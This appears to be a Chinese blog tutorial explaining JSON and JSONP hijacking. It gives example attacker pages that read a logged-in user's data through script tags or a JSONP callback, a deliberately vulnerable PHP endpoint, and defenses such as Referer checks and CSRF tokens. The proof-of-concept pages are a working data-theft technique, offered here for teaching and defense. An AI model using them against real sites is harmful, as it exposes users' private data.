详解JSON和JSONP劫持以及解决方法


Posted in Javascript onMarch 08, 2019

json劫持

json劫持攻击又为”JSON Hijacking”,攻击过程有点类似于csrf,只不过csrf只管发送http请求,但是json-hijack的目的是获取敏感数据。

一些web应用会把一些敏感数据以json的形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似csrf的手段,向目标服务器发送请求,以获得敏感数据。

比如下面的链接在已登录的情况下会返回json格式的用户信息:

http://www.test.com/userinfo

攻击者可以在自己的虚假页面中,加入如下标签:

<script src="http://www.test.com/userinfo"></script>

如果当前浏览器已经登录了www.test.com,并且cookie未过期,然后访问了攻击者的虚假页面,那么该页面就可以拿到json形式的用户敏感信息,因为script标签会自动解析json数据,生成对应的js对象。然后再通过

Object.prototype.__defineSetter__

这个函数来触发自己的恶意代码。

但是这个函数在当前的新版本chrome和firefox中都已经失效了。

jsonp劫持

jsonp是一个非官方的协议,利用script元素的开放策略,网页可以得到从其他来源动态产生的json数据,因此可以用来实现跨域。(关于JSONP可以参考我的博文:https://3water.com/article/31167.htm)

web程序如果通过这种方式跨域之后,攻击者完全可以在自己的虚假页面中发起恶意的jsonp请求,这就引来了安全问题。比如:

<script>
function useUserInfo(v){
  alert(v.username);
}
</script>
<script src="http://www.test.com/userinfo?callback=useUserInfo"></script>

如果服务器端的userinfo接口支持jsonp,那就会使虚假页面成功执行useUserInfo函数,从而导致安全问题。

解决方法

其实json劫持和jsonp劫持属于CSRF( Cross-site request forgery 跨站请求伪造)的攻击范畴,所以解决的方法和解决csrf的方法一样。

1、验证 HTTP Referer 头信息;
2、在请求中添加 csrfToken 并在后端进行验证;

关于CSRF攻击可以参考我的博文:https://3water.com/article/157550.htm 

PS:JSONP劫持漏洞实例

getUser.php

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

Payload利用:

客户端实现 callbackFunction 函数

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
    {
      alert(result.name);
    }
</script>
<script type="text/javascript" src="http://127.0.0.1/test/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>

jQuery 使用 JSONP

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JSONP劫持测试</title>
  <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>  
</head>
<body>
<div id="divCustomers"></div>

<script type="text/javascript">  
  $.getJSON("http://127.0.0.1/test/getUser.php?jsoncallback=?", function(getUsers){
     alert(getUsers.name);
  });
</script>
</body>
</html>

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。权声明:本文为博主原创文章,转载请附上博文链接!

Javascript 相关文章推荐
一个JavaScript继承的实现
Oct 24 Javascript
两个比较有用的Javascript工具函数代码
Feb 17 Javascript
JavaScript执行效率与性能提升方案
Dec 21 Javascript
js实现幻灯片效果(基于jquery插件)
Nov 05 Javascript
Angularjs 制作购物车功能实例代码
Sep 14 Javascript
原生js实现可爱糖果数字时间特效
Dec 30 Javascript
纯jQuery实现前端分页功能
Mar 23 jQuery
基于rem的移动端响应式适配方案(详解)
Jul 07 Javascript
JS/HTML5游戏常用算法之碰撞检测 像素检测算法实例详解
Dec 12 Javascript
layui表格数据重载
Jul 27 Javascript
在vue中实现echarts随窗体变化
Jul 27 Javascript
js实现直播点击飘心效果
Aug 19 Javascript
Node.js Event Loop各阶段讲解
Mar 08 #Javascript
vue基础之data存储数据及v-for循环用法示例
Mar 08 #Javascript
vue.js使用v-model实现表单元素(input) 双向数据绑定功能示例
Mar 08 #Javascript
JavaScript解析机制与闭包原理实例详解
Mar 08 #Javascript
零基础之Node.js搭建API服务器的详解
Mar 08 #Javascript
详解vue项目中使用token的身份验证的简单实践
Mar 08 #Javascript
Javascript之高级数组API的使用实例
Mar 08 #Javascript
You might like
德生9700DX电路分析
2021/03/02 无线电
用php实现让页面只能被百度gogole蜘蛛访问的方法
2009/12/29 PHP
php下载文件的代码示例
2012/06/29 PHP
PHP、Nginx、Apache中禁止网页被iframe引用的方法
2020/10/01 PHP
php文件上传的两种实现方法
2016/04/04 PHP
PHP基于mssql扩展远程连接MSSQL的简单实现方法
2016/10/08 PHP
推荐dojo学习笔记
2007/03/24 Javascript
学习ExtJS Panel常用方法
2009/10/07 Javascript
在vs2010中调试javascript代码方法
2011/02/11 Javascript
在iframe里的页面编写js,实现在父窗口上创建动画效果展开和收缩的div(不变动iframe父窗口代码)
2011/12/20 Javascript
jquery validate在ie8下的bug解决方法
2013/11/13 Javascript
jQuery固定元素插件scrolltofixed使用指南
2015/04/21 Javascript
jquery实现滑动特效代码
2015/08/10 Javascript
JS实现超精简的链接列表在固定区域内滚动效果代码
2015/11/04 Javascript
javascript中的3种继承实现方法
2016/01/27 Javascript
jQuery插件实现适用于移动端的地址选择器
2016/02/18 Javascript
Vue + Webpack + Vue-loader学习教程之功能介绍篇
2017/03/14 Javascript
浅析JS中的 map, filter, some, every, forEach, for in, for of 用法总结
2017/03/29 Javascript
利用Vue.js实现求职在线之职位查询功能
2017/07/03 Javascript
JavaScript文本特效实例小结【3个示例】
2018/12/22 Javascript
Vue开发之封装分页组件与使用示例
2019/04/25 Javascript
vue搜索页开发实例代码详解(热门搜索,历史搜索,淘宝接口演示)
2020/04/11 Javascript
vue中的循环对象属性和属性值用法
2020/09/04 Javascript
[01:32]寻找你心中的那团火 DOTA2 TI9火焰传递活动今日开启
2019/05/16 DOTA
[47:46]完美世界DOTA2联赛 Magma vs GXR 第三场 11.07
2020/11/10 DOTA
Python实现抓取页面上链接的简单爬虫分享
2015/01/21 Python
Python中不同进制互相转换(二进制、八进制、十进制和十六进制)
2015/04/05 Python
详解Python中用于计算指数的exp()方法
2015/05/14 Python
Django中模版的子目录与include标签的使用方法
2015/07/16 Python
关于python中密码加盐的学习体会小结
2019/07/15 Python
ProBikeKit英国:在线公路自行车之家
2017/02/10 全球购物
联想中国官方商城:Lenovo China
2017/10/18 全球购物
党校毕业心得体会
2014/09/13 职场文书
2014年学生会工作总结范文
2014/11/07 职场文书
2014年班组长工作总结
2014/11/20 职场文书
副总经理岗位职责
2015/02/02 职场文书